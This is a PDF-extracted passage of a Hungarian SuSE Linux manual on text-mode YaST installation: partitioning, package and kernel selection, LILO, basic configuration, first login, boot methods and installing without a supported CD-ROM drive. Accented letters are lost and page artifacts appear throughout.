2.8 bra: A YaST kezd kperny je o o Ha tbbet akarunk megtudni a YaST -rl vagy specilis karbantartsi feladatot akarunk vgrehajtani, nzzk meg a rszletes YaST fejezetet (a 3 . fejezetben (83. oldal)). E fejezet elejn tallunk tleteket arra, hogy miknt m kdik a billenty zet-kioszts a YaST -ban. u u Linux teleptse Ha a SuSE Linux-ot most teleptjk els alkao lommal. Ez a tmja az albbi rsznek. E menpont magyar fordtsa jelenleg hibsan a Megsrlt Linux jrateleptse-knt jelenik meg. Meglv Linux rendszer frisstse A SuSE Linux rendszer frisstst trgyalja a 15.1 . fejezetben (419. oldal). Telepts szakrt mdban Ha ezt az opcit vlasztjuk, tbb vlasztsi lehet sgnk lesz a telepts alatt. Csak gyakorlott linuxfelo hasznlknak javasoljuk ezt a lehet sget, ha biztosan ismerjk a szkso ges lpseket egy sikeres teleptshez. A szakrt mdot nem itt trgyalo juk! Megszakts - nincs telepts Ha meggondolnnk magunkat... 35

2. Az els SuSE Linux telepts o Vlasszuk a menb l az els , Linux teleptse pontot. o o Miel tt partcionlnnk, vessnk egy pillantst a 2.9 . fejezetben (69. oldal) o lv dolgokra ; itt hasznos httr-informcikat tallunk. o 2.2.4 Merevlemezek partcionlsa s formzsa Fordtotta: Vradi Istvn A YaST tudatja velnk, ha egy merevlemezt rzkelt. Ha van rajta "res" lemezterlet, felajnlja e terletet, s javasolja, hogy ezt hasznljuk a Linuxhoz (a Hasznlja az res Terletet? ablakban). Ha mr van egy aktivlatlan swappartci a rendszernkn taln egy korbbi teleptsb l , a YaST felismeri azt, s megkrdezi, hogy akarjuk-e o ezt a partcit swappartciknt hasznlni. A partcik belltshoz az eljrs az albbi: Partcionls Az a szably, hogy a "partcionls?" krdsre a SuSE Linux els teleptskor, vagy j teleptskor a Partcionl o vlaszt kell adni. Nem szabad vlasztanunk az LVM bellts-t, hacsak nem tudjuk, mi az a Logikaiktet-kezel (Logical Volume Manao ger), s valban azt akarjuk. Igen Ha Igen-nel vlaszolunk, a YaST nllan elvgzi a partcionlst, mi pedig folytathatjuk a 2.2.6 . fejezetben (38. oldal). Nem Ha azt mondjuk, hogy Nem, akkor interaktvan partcionlhatunk.

2.9 bra: YaST Merevlemez-partcionls Ha a YaST nem tall res helyet a lemeznkn, javasolni fogja a Teljes lemez hasznlata-t. Ezen a kperny n vlaszthatunk egyet az albbi o lehet sgekb l. (Emlkeztet : a o o o Tab , vagy billenty kkel mozgatu hatjuk a kurzort, s a billenty vel vgrehajthatjuk a kivlasztst): u 36

2.2. Telepts a szveges YaST -tal (YaST 1) Partcionls Ez megengedi, hogy sajt magunk partcionljuk a merevlemezt; akkor kell ezt vlasztanunk, ha egy msik opercis rendszer (vagy olyan partci, amit nem akarunk eltvoltani) van mr a merevlemeznkn. Amennyiben a Teljes lemez hasznlata pontot vlasztjuk, a merevlemezr l MINDEN adat elvsz, visszahozhatatlanul! o Teljes lemez hasznlata Ezzel az opcival a YaST egy nagy "piros" gyelmeztet zenet megjelentse utn automatikusan partcio onlja a lemezt. Csak akkor vlasszuk ezt az opcit, ha ez az els SuSE Linux telepto snk, s nem akarunk belemlyedni a partcionls tmjba. Ha ezt az opcit vlasztjuk, a lemezen lv opercis rendszert a o YaST letrli! Ha a Teljes lemez hasznlata opcit vlasztjuk, a YaST az albbi lpseket vgzi el, amikor partcionlja a merevlemeznket: Ltrehoz egy /boot partcit (minimum 2 MB, vagy 1 cilinder) Ltrehoz egy swappartcit (ktszer akkort, mint a RAM mrete a rendszernkben, de nem nagyobbat, mint 128 MB) Ltrehoz egy nagy rootpartcit (/) a megmaradt hellyel. El fordulhatnak esetek, amikor problma van a partcis tbla visszaolvao ssnl. Ha ez az eset ll el , a YaST ezt egy piros zenetben jelenti meg, o s megkr minket az jraindtsra. Ekkor jra kell indtanunk a szmtgpet, de a kvetkez alkalommal mr nem kell az j partcik ltrehozst o megksrelnnk. Lehetsges problmk Nem ll elegend hely rendelkezsre. A 2.7.1 . fejezetben (57. oldal) o tletek vannak arra, hogy miknt tudunk tbb helyet ltrehozni merevlemeznkn a ps hasznlatval DOS alatt. 2.2.5 Programcsomagok teleptse

Ezidig a merevlemez el ksztse folyt a Linux teleptshez. Most kell o eldntennk, hogy a szoftvercsomagokbl melyeket teleptjk. A kvetkez YaST men, amely felt nik, az a YaST teleptsi men ( 2.10 o u bra). Eltart egy pr pillanatig amg ez megjelenik, mert a kszlet- s csomaglersokat be kell olvasni a teleptsi mdiumrl, valamint ki is kell rtkelni azokat. Ha nem akarunk kivlasztani bizonyos csomagokat, folytathatjuk tovbb a Telepts megkezdse ponttal; ebben az esetben mehetnk tovbb a 2.2.7 . fejezetben (39. oldal) megtallhat pontra. Vlasszuk a Konfigurci betltse menopcit, hogy el re o sszelltott csomagsszelltsokat vlaszthassunk ki (szabvny, hlzati 37

2. Az els SuSE Linux telepts o

2.10 bra: YaST csomagkivlaszts kiszolgl, miniml, stb.) Ezt a 2.2.6 fejezet trgyalja. El szr jello jk ki a vlasztsunkat, s a Csere (Replace) menopcit, majd nyomjuk meg a billenty t. A jelenlegi bellts lecserl dik az j u o vlasztsra. Tovbbi informcikat err l a 2.2.6 fejezetben olvashatunk. o Amikor kivlasztottuk a rendszerbelltst s meger stettk azt, vissza o fogunk trni a teleptsi menhz. A Konfigurci ksztse/vltoztatsa menopcit hasznlhatjuk, hogy mdostsuk a mr kivlasztott csomagok listjt. Ezutn a rendelkezsre ll kszletek kivlaszt kperny jt fogjuk ltni. o Miutn kivlasztottunk egy el re kongurlt rendszerbelltst, ltalban o NEM szksges vltoztatnunk a kivlasztott csomagok listjn. Felhvjuk a gyelmet, hogy csomagok eltvoltsa s jak teleptse a rendszer teleptse utn is lehetsges (s egyszer ). u Rszletes lers a csomagok hozzadsrl, a 3.4.3 . fejezetben (97. oldal) tallhat. 2.2.6 Az alapszoftverek kivlasztsa

A YaST "Kongurci betlts" kperny je ( 2.11 bra) csak akkor fog o megjelenni, ha a Konfigurci betltse menpontot vlasztottuk a 2.2.5 fejezetben. El ksztettnk egy pr el re denilt "csomagkongurcit". A nyl gomo o bokkal ( elrhetjk az egyes tteleket; a s ) Szkz kivlasztha-zel tunk egy ttelt, vagy trlhetjk azt. Az X a zrjelben azt jelenti, hogy a kongurcit kivlasztottuk hozzadsra, vagy a jelenleg teleptett csomag kongurcit cserlni fogjuk. Egy csillag (*) a kongurci cme mellett azt jelzi, hogy ezt a kongurcit vlasztottuk most ki teleptsre. Tbb mint valszn , hogy nhny csou mag (klnsen az alapcsomagok) , beletartoznak ebbe az opciba, ami azt is jelenti, hogy ha kivlasztjuk a SuSE almost everything (majd38

2.2. Telepts a szveges YaST -tal (YaST 1) nem minden) menopcit, vannak kivlasztott csomagok, amelyek ugyangy beletartoznak ms opcikba is.

2.11 bra: YaST kongurci kivlasztsa Betlts Ez a menopci hozzadja a kivlasztott csomagkongurci csomaglistjt az aktulis csomagkongurcihoz. Csere Ezzel az opcival lecserlhetjk a jelenleg teleptett csomagkongurcilistt a kivlasztott csomag kongurcival. Esetleg meg fog krdezni minket, hogy akarjuk-e trlni azokat a csomagokat amelyek nem tartoznak a kongurcihoz. Megszakt Ez a menopci visszavisz minket az el z kperny hz. o o o 2.2.7 Rendszerprogramok teleptse

E sok el kszt munkt kvet en vgre kszen llunk, hogy megtltsk o o o merevlemeznket nagyszer szoftverekkel! u Megkezdhetjk a szoftvercsomagok teleptst a Telepts megkezdse pontban. A YaST megjelenti a kperny n az egyes csomao gok llapott, jelzi a teleptett, s a mg htralv csomagok szmt is. o Amint szksgess vlik, a YaST krni fogja a tovbbi CD-ket is. Amikor az sszes csomag teleptse megtrtnt, visszatrhetnk a f meo nhz a Fmen opci kivlasztsval. Lehetsges problmk Ha a rendszernkben "csak kevs" RAM van (<16 MB), kezdsknt csak az els CD-ROM-on lv csomagokat lehet telepteni. A tbbi CD-n lv o o o csomagokat ks bb lehet majd csak telepteni (lsd a 2.2.9 . fejezetben o (44. oldal)). Ha gondunk van a szoftverteleptssel, azt rendszerint valamilyen hardver problma okozza. Ha SCSI rendszernk van, ellen rizzk le ktszeresen o 39

2. Az els SuSE Linux telepts o is a kbeleket s a csatlakozkat. Az is hasznos lehet, ha eltvoltunk minden kls eszkzt, lapolvast (scanners), a SCSI buszrl a telepts o ideje alatt. Szmtsba kell vennnk mg kernelparamterek hasznlatt is: a legfontosabbak a 14.3.1 . fejezetben (384. oldal) vannak felsorolva. Abban az esetben, ha gondunk van egy ATAPI eszkzzel, a teend ket lsd o a 2.8.5 . fejezetben (64. oldal). Most vegyk ki az esetleg mg bennt lv oppylemezt, vagy CD-ROM-ot o a meghajtkbl, mivel a szmtgp az els rendszerindtsra kszl el . A o o YaST vgigvezet minket a rendszer alapbelltsain... 2.2.8 A rendszermag kivlasztsa

Az alaprendszert sikeresen teleptettk a merevlemezre.

2.12 bra: YaST rendszermag kivlasztsa Teleptennk kell a megfelel rendszermagot, a LILO rendszertlt t (a o o rendszertlt tlti be a szmtgp indtsakor az opercis rendszert), majd o be kell lltanunk az els szoftver- s hardverelemeket. o rendszermag A standard kernel ltalban megfelel a legtbb rendszernek. A Kernel with SMP-support, a tbbprocesszoros rendszerekhez hasznlhat . Ha a processzorunk nem 100%-osan Pentium kompatibilis, vlasszuk a built for i386 processors (use also for 486) (kernel a 386 vagy 486 processzoros gpekhez) ttelt. Ezt a rendszermagot kell hasznlnunk pldul a Cyrix 686 processzorhoz. Rossz rendszermag kivlasztsa "kernel panic"-hoz vezethet; lsd mg a http://sdb.suse.de/sdb/de/html/cyrix686.html oldalt. A YaST bemsolja a kivlasztott rendszermagot a /boot/vmlinuz al, s a rendszermag belltsi fjljt a /usr/src/linux/.config al. Ez a fjl pontosan lerja a teleptett rendszermagot s a hozz tartoz modulokat. 40

2.2. Telepts a szveges YaST -tal (YaST 1) A krdsre (Akarja konfigurlni a LILO-t?) csak akkor sza- LILO bad igen-t vlaszolnunk, ha biztosak vagyunk benne, hogy a teleptett rendszer indthat a LILO -val, lsd a 3.21 . fejezetben (107. oldal); ltalban ez az eset a DOS s a Windows 95/98-nl de a Windows NT-nl a dolgok egy kicsit msknt nznek ki, lsd a 4.7.2 . fejezetben (135. oldal)! tletek a szksges urlapok kitltsre a 3.6.2 . fejezetben (106. oldal) tallhatk. 2.2.9 Az alaprendszer kongurlsa a YaST segtsgvel

A rendszermag kivlasztsa, s a LILO belltsa utn vgre kell hajtanunk a mg htralv alapbelltsokat. Az alapvet szoftver- s hardverelemek o o belltsa mr megtrtnt.

2.13 bra: YaST id zna kivlasztsa o Ki kell vlasztanunk a megfelel id znt (lsd a 2.13 brt). Meg kell o o keresnnk az id znalistbl azt az egyet, ami megfelel jelenlegi tartzo kodsi helynknek. Szintn vlasztanunk kell a GMT s a Helyi id kztt. A Helyi id-t kell vlasztanunk, hacsak a rendszeo o rrnk (a BIOS) nem a greenwichi kzpid szerint jr. o A szmtgp rjn bellthatjuk a helyi id t vagy a Greenwich Mean o Time (GMT)-t. Az alapbellts GMT; vlasszuk a helyi idt, ha a gpnk gy van belltva. hlzat A kvetkez kben megjelen kperny k a hlzat belltsra szolglnak: belltsa o o o A gp (Hostname) s a tartomnynv (Domain name), lsd a 2.14 brt. Akrmilyen nevet vlaszthatunk gp- s tartomny nvnek, hacsak nem kaptunk egy Fully Qualied Domain nevet a rendszer adminisztrtor-tl vagy az Internetszolgltat (ISP)-t l. Ha kapo csoldni szndkozunk az Internetre vagy egy intranetre, megkell gy z dnnk rla, hogy megfelel en vlasztottunk nevet. Pldul o o o meggyfa.liget ahol meggyfa a gpnv s liget a tartomnynv. 41

2. Az els SuSE Linux telepts o

2.14 bra: YaST gpnv s tartomnynv belltsa Loopback, vagy Valdi Hlzat (Real Network)? Ha a gpnknek nincs hlzati krtyja, a loopback-et vlasszuk, gy NEM fogunk krdseket kapni a hlzati bellts rszleteir l. o Ha a Valdi Hlzat (Real Network)-ot vlasztottuk, tovbbi hlzattal kapcsolatos krdseket fogunk kapni: DHCP kliens, Hlzat tpusa (az Ethernet krtyhoz vlasszuk az eth0-t), IPcm, Netmaszk, tjr (Gateway), inetd , portmap, NFS kiszolgl, Honnan (From) cm a Newsgroup levelezshez, Nv kiszolgl (Name Server), IP-cm, rendszermag-modul kivlasztsa a hlzati krtya tmogatshoz, a Sendmail belltsa (sendmail.cf).

2.15 bra: YaST a levelez rendszer belltsa o A sendmail.cf kivlasztsa a levelez rendszerhez ( 2.15 bra); lsd o a 6.8 . fejezetben (202. oldal). 42

2.2. Telepts a szveges YaST -tal (YaST 1) Az ezidig megadott informcikat klnbz belltsi fjlokban meg rizte o o a SuSEcong. A YaST futsa befejez dik, s zenetek jelennek meg a rendo szer llapotrl a kperny n... o Root jelsz Nhny rendszerzenet utn lthatjuk az dvzl szveget, "Welcome o to SuSE Linux" (dvzli nt a SuSE Linux). Most nagyon gyeljnk: meg kell adnunk a root jelszt (Rendszergazda). Krltekint en kell megvlasztanunk ezt a jelszt, s nem szabad azt elfelejtennk. o Nem szabad "szkzt" vagy specilis karaktereket hasznlnunk (hacsak nem vagyunk biztosak abban, hogy mit csinlunk). Vegyk gyelembe, hogy csak az els 8 karakter kerl rtkelsre. o A YaST javasolni fogja, hogy hozzunk ltre egy "pldafelhasznlt". Ezt bejelentkezs meg kell tennnk, mert nem javasolt, hogy root-knt jelentkezznk be, s ezt hasznljuk a norml napi munkavgzsre. Erre hozzunk ltre egy szemlyes accountot s ezt hasznljuk a mindennapi munknk sorn. Talljunk ki egy egyszer nevet sajt felhasznli accountunkhoz (szu kz nlkl s 8 karakternl ne hosszabbat), pldul kezd bet inket, vagy o u jancsi. Amikor ltrehozzuk ezt az account-ot, vigyznunk kell, hogy ne felejtsk el a hozz megadott jelszt!

2.16 bra: YaST a modem csatolfelletnek kivlasztsa A YaST meg fogja krdezni t lnk, hogy be akarjuk-e lltani most a mo- modem o demnket. Ha van modemnk, megtehetjk ezt most, vagy bellthatjuk majd ks bb is. Ha Igen-t vlasztunk, a YaST meg fogja krdezni, o hogy melyik soros porthoz van csatlakoztatva a modem. Jegyezzk meg, hogy a "Winmodem"-eket mg nem tmogatja a Linux1 . Lsd a kvetkez cmet: o http://sdb.suse.de/sdb/en/html/cep_winmodem.html
1 A fordtk megjegyzse: Mra ez a "gond" mr megolddott, ugyanis a 2.4.x verzitl kezdve a rendszermag tmogatja a legtbb "Winmodemet" is.

43

2. Az els SuSE Linux telepts o

2.17 bra: YaST az egrmeghajt kivlasztsa egr A YaST meg fogja krdezni, hogy be akarjuk-e lltani egernket. Ha ezt kvnjuk, vlasszuk az Igen-t. Vlasszuk ki egernk tpust a megjelen listrl ( 2.17 bra). Ha soros egeret hasznlunk, a YaST be o fogja krni a megfelel soros portot t lnk ( 2.16 bra). Vlasszuk ki a o o megfelel soros portot a listbl. o

2.18 bra: YaST az egeret kezel gpm indtsa o Ki kell vlasztanunk a gpm program automatikus indtst rendszer indulskor ( 2.18 bra). Ha problmnk van ks bb a gpm-mel, vlaszthatjuk o azt is, hogy ne induljon el indulskor (lsd a 17.6 . fejezetben (464. oldal)). tovbbi CD-k Ha tovbbi csomagokat kell telepteni CD-ROM-rl (lsd a 2.2.7 . fejezetben (39. oldal)), a YaST most fogja feltelepteni oket... 44

2.2. Telepts a szveges YaST -tal (YaST 1) A YaST meg fog krni minket, hogy tegyk be a megfelel CD-t 2 , gy o a htralv szoftverek teleptsre kerlhetnek; az utols CD csak akkor o szksges, ha kimondottan forrskd csomagok teleptst vlasztottuk ltalban nem ezt tesszk! A YaST vgl befejezi tennivalit, s felkr minket, hogy nyomjuk meg a -t. SuSE Linux-teleptsnk ezzel befejez dtt. o 2.2.10 Bejelentkezs telepts utn

Nhny bellt szkript fog lefutni a httrben. Ekkor mr bejelentkezhe- root tnk, root-knt, pldul az 1. konzolon (a bejelentkezsi eljrsrl, lsd login: a 19.1 . fejezetben (493. oldal)) A bejelentkezsi promptnl "Login:", rjuk be: root. A kvetkez promptot kapjuk : "Password:". Itt meg password: o kell adnunk a jelszt, amit a root felhasznlnak adtunk (lsd a 2.2.9 . fejezetben (43. oldal)). Ne keverjk ssze ezt a jelszt a "pldafelhasznl" jelszavval! Tovbbi informcikat a bejelentkezsi eljrsrl a 19.1 . fejezetben (493. oldal) tallhatunk. A Linux-prompt jelenik meg, s elkezdhetjk a munkt; a prompt gy nz ki:
meggyfa: #

Pldul az ls -a parancsot hasznlhatjuk, hogy megnzzk a jelenlegi knyvtr tartalmt, ami a jelen esetben a root felhasznl home knyvtra.
meggyfa: # ls -a

A yast parancs elindtja a YaST -ot, amit a rendszer belltsainak megvltoztatshoz hasznlhatunk:
meggyfa: # yast

Ha elindtjuk a YaST (yast)-ot, kivlaszthatjuk a menb l a o Rendszeradminisztrci-t s az almenb l a Felhasznl o adminisztrls-t, hogy ltrehozzunk egy j felhasznli accountot. Folytathatjuk a XFree86TM belltsa menponttal, hogy belltsuk a grakus felhasznli felletet (lsd a 8.3 . fejezetben (240. oldal)).

2 A SuSE Linux DVD ROM tartalmazza az sszes csomagot egyetlen DVD-n. Ha DVD ROM-rl teleptnk, a YaST nem fog krni msik CD-ROM-ot.

45

2. Az els SuSE Linux telepts o Bellt szkriptek fognak a httrben automatikusan lefutni (a kziknyvlapok indexelse, a Perl belltsa, stb.). Egyes szmtgpeken, ahol kevs a memria, s lass a CPU, ez az eljrs akr egy rig is eltarthat. Ha elhatrozzuk, hogy "jraindtjuk" a gpnket, miel tt ezek a szkriptek o befejez dtek volna, a YaST ks bb automatikusan folytatja a szkriptek o o feldolgozst onnan, ahol abbahagyta! Megnzhetjk ezen szkriptek llapott a 9-es konzol-on. Hogy lssuk a Alt + F9 billenty ket egyszerre. Amikor a u konzolt, nyomjuk meg az szkriptek befejez dtek, az albbi zenet fog megjelenni: o "SuSE Linux" - Have a lot of fun! "SuSE Linux" - Az rmteli program! A telepts befejezse utn tovbbi belltsokat is eszkzlhetnk ; tletekr l o lsd a 2.1.17 . fejezetben (28. oldal), pldul a nyomtatsrl, az Internet s hardver kapcsolatrl. Soha nem szabad egy linuxos szmtgpet kzvetlenl kikapcsolni. Hasznljuk a KDM ltal nyjtott lehet sget vagy a shutdown parancsot (lsd o a 19.2 . fejezetben (494. oldal)), hogy "lelltsuk" a szmtgpet. Ha a gp nem kapcsol ki megfelel en, fjlrendszer -ellen rzs indul el a ko o vetkez alkalommal, amikor a gp elindul ez nmi id t vesz ignybe, o o s klnleges esetekben az ellen rzs nem elegend , hogy helyrelltsa az o o sszes fjlt, amelyek esetleg megsrltek.

2.3

Hogy indtjuk el a SuSE Linuxot?

Fordtotta: Vradi Istvn A SuSE Linux rendszer teleptse mr majdnem teljesen ksz. Az utols krds az, hogy miknt akarjuk indtani a rendszernket (rendszerindts). A kvetkez kben lerjuk, hogy milyen lehet sgnk van a SuSE Linux rendo o szer indtsra. A legjobb indtsi mdszer szmtgpes gyakorlatunktl is fgg, valamint attl, hogy mire akarjuk hasznlni a Linuxot. Boot disk: A Linuxot indthatjuk egy Boot disk-r l ("Boot oppy") is. Ez o a megolds mindig m kdik (egszen addig, amg a boot disk meg nem u srl), s knnyen megoldhat. Az indt lemezt ltrehozhatjuk telepts kzben is (lsd 2.1.9 . fejezetben (25. oldal)) Az indt lemez megfelel tmeneti megolds abban az esetben, ha probo lmnk van ms indtsi md belltsval, vagy mg nem dntttnk a klnbz indtsi mdok kztt. Ha OS/2 vagy Windows NT rendszeo rnk van, az indt lemez akkor is j megolds lehet. loadlin: A loadlin-es indtsi mdszert az albbiak szerint llthatjuk be: A szmtgpnek vagy DOS Real mdban kell futnia, vagy egy VCPI szervernek elrhet nek kell lennie virtulis 8086 mdban3 . Ms szo val: ez a mdszer NEM fog m kdni Unix, OS/2, Windows NT alatt, u
3

Egy VCPI szerver az emm386.exe programmal rhet el. o

46

2.3. Hogy indtjuk el a SuSE Linuxot? vagy DOS ablakban Windows 95/98 all, viszont nagyon jl fog m u kdni MS-DOS-bl vagy Windows 95/98 all, DOS mdban. A szmtgpnek elegend elrhet DOS memrival kell rendelkezo o nie: A 640 kB limit alatt 128 kB memrinak elrhet nek kell lenni, a o tbbi lehet az EMS/XMS memriban. A Loadlin belltsa meglehet sen munkaignyes, de knnyen integrlo hat a Windows 95/98 indtmenjbe. Ez a belltsi fjlok kzi szerkesztst ignyli. Az egyik legnagyobb el nye a loadlin-nek, hogy semo mit nem teleptnk a merevlemez MBR-jbe (Master Boot Record). gy ms opercis rendszereknek a linuxpartcik ismeretlen tpusnak t nu nek. A loadlin teleptshez ismernnk kell egy kicsit a Linuxot s a DOSt. Ezenkvl tudnunk kell, hogyan kell belltsi fjlokat ltrehozni  szerkeszt program-mal. o Rszletesebben err l a 4.9 . fejezetben (143. oldal) olvashatunk. Ha o hibt ejtnk a Windows 95/98 indt menjben, az problmkhoz vezethet. Slyos hiba esetn, elveszthetjk hozzfrsnket a Windows rendszernkhz. Miel tt elkezdjk mdostani a Windows indtmenjt, o gy z djnk meg rla, hogy Windows opercis rendszernket el tudjuk o o indtani mgneslemezr l is. o LILO : ltalnos s technikailag elegns megolds rendszerindtsra a LILO . A LILO indt menjben bellthat, hogy vlasztkot mutasson az indthat opercis rendszerekb l, miel tt brmi is elindulna. A o o YaST -tal viszonylag knny belltani s telepteni a LILO -t (lsd a 3.6.2 u . fejezetben (106. oldal)). A LILO -t ilyenkor muszly merevlemeznk bootszektorba telepteni, ami azrt nmi veszllyel jr. A megfelel o teleptshez egy kicsit tbbet kell tudnunk az indtsi eljrsrl, mint egy tlagos felhasznl. A LILO belltsi fjljt ismernnk kell annyira, hogy azt mdostani tudjuk. Fokozottan ajnlatos megtanulnunk, hogy hogyan kell eltvoltani (uninstall) a LILO -t abban az esetben, ha nehzsgnk tmadna. Rszletesebben a LILO -rl s az indtsi eljrsrl a 4.3 . fejezetben (121. oldal) olvashatunk. A LILO -t a legjobb indtsi mdnak tekintik, de itt gyelmeztetnnk kell mindenkit, hogy ezt egy kicsit bonyolultabb belltani, mint egy egyszer indt lemezt (boot u disk). Vannak BIOS vltozatok, melyek ellen rzik a boot szektor llapott o (MBR), s a LILO teleptst "vrusgyelmeztets" hibazenettel jelzik. Ez a problma knnyen elhrthat, ha a BIOS-ban kikapcsoljuk a megfelel belltsokat, pldul ki kell kapcsolnunk a virus o protection-t. Ks bb visszakapcsolhatjuk ezt az opcit, br ez a leo het sg felesleges, ha a Linux az egyedli opercis rendszer, amit haszo nlunk. A klnbz indtsi mdszerek rszletes trgyalsa, klnsen a LILO s a o loadlin megtallhat a 4 . fejezetben (119. oldal). 47

2. Az els SuSE Linux telepts o Egyb bootmenedzserek Mivel a Linux jelent sge egyre nvekszik, nhny kereskedelmi boot mao nagert kszt cg mr belepti termkbe a Linux indtsnak lehet sgt. o o A bootmenedzserek kzl legjobban ismertek a System Commander Deluxe s a Partition Magic. Az indts ideje alatti helpkperny n tlmen en sok o o csomag ezek kzl mg egyb m veleteket is knl. Pldul lehetsges kiu terjeszteni a meglv FAT32 partcit, vagy lecserlni a FAT16 partcikat o FAT32-re. Nem tallhatjuk meg ezeket a programokat a telept CD-ken, s o nem knlunk teleptsi tmogatst ezekhez a termkekhez!

2.4

Telepts tmogatott CD-ROM meghajt nlkl

Fordtotta: Vradi Istvn Mit csinljunk, ha a telepts CD-ROM meghajtrl nem lehetsges? Ha pldul a CD-ROM meghajtnk egy nem tmogatott, rgebbi "specilis" tpus? Vagy olyan a gpnk (pldul egy notebook), aminek taln nincs is CD-ROM meghajtja, viszont van Ethernet adaptere vagy PLIP kbele... A SuSE Linux lehet sget ad a rendszer teleptsre olyan gpre is, aminek o nincs tmogatott CD-ROM meghajtja: egy DOS partcirl (lsd a 2.4.1 fejezetet) hlzati kapcsolaton t: NFS vagy FTP etherneten keresztl, vagy PLIPvel (lsd a 2.4.2 . fejezetben (50. oldal)) 2.4.1 Telepts DOS partcirl

Fordtotta: Vradi Istvn

Mir l is van sz? o Ideiglenesen tmsoljuk a Linux szoftvereket a merevlemez DOS partcijra, ha a CD-n lv ltalnos kernel nem tmogatja a CD-ROM meghajtno kat. Felttelek Ha DOS, Windows vagy OS/2 alatt nem tudjuk hasznlni a CD-ROM-ot, akkor felttelezhetjk, hogy a Linux sem tmogatja a CD-ROM meghajtnkat. Legyen elg helynk a DOS, OS/2 vagy Windows partcinkon (3.11 vagy 95/98) s legyen elegend memria. o Lpsr l lpsre... o Az albbiak szerint kell az sszes el rt fjlt a merevlemezre msolni (ha o nem akarjuk egyenknt vgrehajtani az albbi lpseket, az lhdsetup.bat batch fjl a \dosutils knyvtrban segtsgnkre lehet): 1. Hozzunk ltre egy knyvtrat, ahov majd a fjlokat msoljuk. Teljesen mindegy, milyen nevet adunk neki, pldnkban \emil-nek hvjuk. 48

2.4. Telepts tmogatott CD-ROM meghajt nlkl 2. A \emil knyvtr al kell mgegy knyvtr (suse), s ezen bell mg az albbi knyvtrak: a1, images s setup. Ezek szksgesek az alaplinux teleptshez. Hozzuk ltre most ezeket a knyvtrakat. A 2.19 bra mutatja a teljes szksges fjlszerkezetet.

2.19 bra: Knyvtrszerkezet a teleptshez 3. Msoljuk t a fjlokat az els CD \suse\a1 knyvtrbl merevo lemeznk \emil\suse\a1 knyvtrba: ha van elg hely a DOS partcinkon, akkor bemsolhatjuk az egsz ft a CD-r l (a \suse-t a o \emil\suse-ba). 4. A \suse\images alatt vlasszuk ki azt a kernelt, ami tmogatja a hardvernket. Tovbbi rszletes informci, hogy melyik kernel melyik hardvert tmogatja, a \suse\images\readme.dos alatt tallhat. Msoljuk ezt a kernelt a \emil\suse\images al. Egy kernel ngy fjlbl ll (lsd feljebb): a kernel kiterjeszts nlkl, s azok a fjlok, amiknek a kiterjesztse .ikr, .inf s .map. Ha a merevlemeznkn van elegend hely, bemsolhatjuk az sszes kernelt ebbe a knyvtrba. o Ks bb azutn kivlaszthatjuk a szksges kernelt. o 5. A biztonsg kedvrt msoljuk a \suse\images\root s \suse\images\initdisk.gz fjlokat a \emil\suse\images al. 6. Msoljuk a \suse\setup\loadlin.exe-t a \emil\suse\setup al. 7. Ezutn ki kell csomagolnunk a \suse\setup\root-ot, s be kell msolni a \emil\suse\setup al; ehhez hasznljuk a DOS-hoz ksztett gzip-et a CD \dosutils knyvtrbl:
C:> cd \emil\suse C:> gzip -dc < images\root > setup\inst-img

49

2. Az els SuSE Linux telepts o Ez a fjl meglehet sen nagy, de erre csak az els telepts alkalmval van o o szksgnk. Amikor az alaprendszer felllt s fut, mr tudunk telepteni tovbbi csomagokat is a DOS partcirl; ezutn az inst-img fjlt eltvolthatjuk.
C:> cd \emil\suse C:> gzip -dc < images\root > setup\inst-img

8. Hozzuk ltre a \emil\suse\setup\descr knyvtrat s msoljuk az sszes fjlt a \suse\setup\descr knyvtrbl ide. 9. Ha maradt mg hely a merevlemeznkn, bemsolhatjuk a \suse\setup\du-t a \emil\suse\setup\du al, amit el re ltre o kell hoznunk. Ezek a fjlok valjban nem szksgesek, de segtsgnkre lesznek ks bb, megmutatjk, hogy mennyi hely van mg, s mennyi mr o a foglalt. Ha van elg helynk, akkor ez meglehet sen hasznos. o 10. Most minden rajta van merevlemeznkn, ami lnyeges a Linux teleptshez, de az egyb szoftverek mg hinyoznak. Mivel CD-ROM meghajtnkat nem tmogatja a Linux, mindent lpsr l lpsre kell telepteo nnk, ami azt jelenti, hogy mindent r kell msolnunk a merevlemezre, amit telepteni szeretnnk a YaST segtsgvel, s utna le kell azokat trlni a merevlemezr l. Nem muszj ezt megtennnk most azonnal, de ha o mr tudjuk, hogy mit fogunk hasznlni, elkezdhetjk most is: csak hozzuk ltre a megfelel knyvtrat a \emil\suse alatt, s msoljuk ide a o vonatkoz fjlokat. Megtallhatjuk az sszes csomagot a tartalmukkal a CD-n lv online dokumentciban vagy a csomaglersokban. o Megkezd dhet a telepts, ahogy a 2.2.1 . fejezetben (30. oldal) lertuk. o Amikor a linuxrc megkrdezi a forrsmdiumot (lsd a 2.2.2 . fejezetben (31. oldal)), a merevlemez-t kell vlasztanunk, s a merevlemezpartci irnti krdsre a DOS partcink eszkz-nevt kell bernunk. Ez rendszerint /dev/hda1 vagy /dev/sda1, ha a DOS az els (primary) o partcin tallhat. Ha maradunk a fenti pldnl, a forrsmdiumknt ez a kvetkez o krds az emil-t kell megadnunk. Ezutn a telepts a 2.2.3 . fejezetben (35. oldal) lertak szerint zajlik le. Semmilyen krlmnyek kztt nem szabad a partcionlsi krdsre a Hasznlja az egsz merev lemezt vlasztanunk ez semmiss teszi az sszes el kszletnket. o 2.4.2 Telepts egy "Net"-en lv forrsrl o

A SuSE nem nyjt tmogatst az ilyen tpus teleptshez (lsd a A.1.2 . fejezetben (520. oldal)). Ezrt csak gyakorlott szmtgp-hasznlknak ajnljuk! Mir l is van sz? o Nincs CD-ROM beptve abba a gpbe, ahov a Linux-ot akarjuk telepteni. Ugyanakkor nincs DOS partcija sem. Viszont kapcsoldhatunk egy tvoli gphez, amin van CD-ROM, vagy amelynek a merevlemezre a CD-t mr 50

2.4. Telepts tmogatott CD-ROM meghajt nlkl felmsoltuk hlzaton keresztl (amint arrl a 2.4.1 . fejezetben (48. oldal) mr volt sz). A tovbbiakban fel kell msolni a fjlokat a CD-ROM .S.u.S.E-disk* knyvtrbl a merevlemezre; Linux alatt ez a kvetkez kppen rvidthet le: o o
meggyfa: # cp /cdrom/.S* /emil meggyfa: # cp -a /cdrom/suse /emil

